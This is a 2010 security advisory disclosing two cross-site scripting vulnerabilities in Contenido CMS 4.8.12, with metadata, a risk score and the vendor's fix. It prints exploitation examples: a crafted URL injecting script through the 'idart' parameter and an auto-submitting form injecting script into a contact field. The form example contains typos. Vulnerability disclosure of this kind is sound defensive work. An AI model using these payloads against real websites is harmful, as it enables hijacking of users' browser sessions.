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Cross-site Scripting (XSS) Vulnerabilities in Contenido CMS

Advisory ID:HTB22635
Product:Contenido
Vendor:four for business AG
Vulnerable Versions:4.8.12 and probably prior
Tested Version:4.8.12
Advisory Publication:September 29, 2010 [without technical details]
Vendor Notification:September 29, 2010
Public Disclosure:December 1, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Contenido CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Contenido CMS
1.1 The vulnerability exists due to input sanitation error in the "idart" parameter in front_content.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E
1.2 The vulnerability exists due to input sanitation error in form.html. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
</form>
<script>
doc ument.M.Submit();
<scri pt>

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Solution:
Upgrade to version 4.8.15

More Information:
http://www.contenido.org/en/redir/en_Contenido_4_8_15


References:
[1] High-Tech Bridge Advisory HTB22635 - https://www.immuniweb.com/advisory/HTB22635 - Cross-site Scripting (XSS) Vulnerabilities in Contenido CMS
[2] Contenido - www.contenido.org - Easy to use, modularly expandable, successful on the market for over five years and free of license costs.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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